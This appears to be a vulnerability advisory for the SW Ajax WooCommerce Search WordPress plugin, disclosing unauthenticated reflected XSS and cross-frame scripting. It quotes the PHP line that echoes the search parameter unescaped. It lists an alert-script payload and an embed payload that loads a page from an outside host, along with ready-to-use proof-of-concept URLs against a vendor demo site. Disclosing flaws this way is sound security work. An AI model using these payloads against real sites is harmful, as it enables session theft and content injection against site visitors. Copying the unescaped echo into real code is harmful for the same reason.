WordPress Plugin Vulnerabilities

SW Ajax WooCommerce Search < 1.2.8 - Unauthenticated Reflected XSS & XFS

Description

An Unauthenticated Reflected XSS & XFS vulnerabilities were discovered in the SW Ajax WooCommerce Search plugin v1.2.6 for WordPress.

The plugin comes with a number of commercial themes such as: OneMall, Revo, eMarket, Autusin, Market, MaxShop, ShoppyStore, Furnicom, EtroStore, HiTheme, StyleShop, TopDeal, Victo, Avesa, Soaz, Binace, Houskit, Gaion, Furniki, Rozy, SecretSho, BosMarket, Siezz, HiStore, Ecomart, iMarket, NeoMarket, 9Merry, LeVogue, Floris, Alishop, KONStore, ShopyMall, DresShop, Shop4U, FurniHome, Tech8 and the vendor is releasing new versions with the updated plugin in them.

Proof of Concept

Affected sources/code:

themes/default.php
themes/layout1.php
themes/layout2.php

<div class="content-search">
				<input class="autosearch-input" type="text" value="<?php echo ( ( isset( $_GET['s'] ) && $_GET['s'] ) ? ( $_GET['s'] ) : "" ); ?>" size="50" autocomplete="off" placeholder="<?php echo esc_attr__( 'Search Item...', 'sw_ajax_woocommerce_search' ); ?>" name="s">	
				<div class="search-append"></div>
			</div>


[$] :: Payloads:

XSS: "><script>alert(/XSS/)</script>

XFS: "><embed src="https://ex-mi.ru/payload/xfsii.html">


[!] :: PoC Unauthenticated Reflected XSS:

https://demo.wpthemego.com/themes/sw_onemall/layout2/?category=&s=%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3E&search_posttype=product

[!] :: PoC Unauthenticated XFS:

https://demo.wpthemego.com/themes/sw_onemall/layout2/?category=&s=%22%3E%3Cembed+src%3Dhttps%3A%2F%2Fex-mi.ru%2Fpayload%2Fxfsii.html%3E&search_posttype=product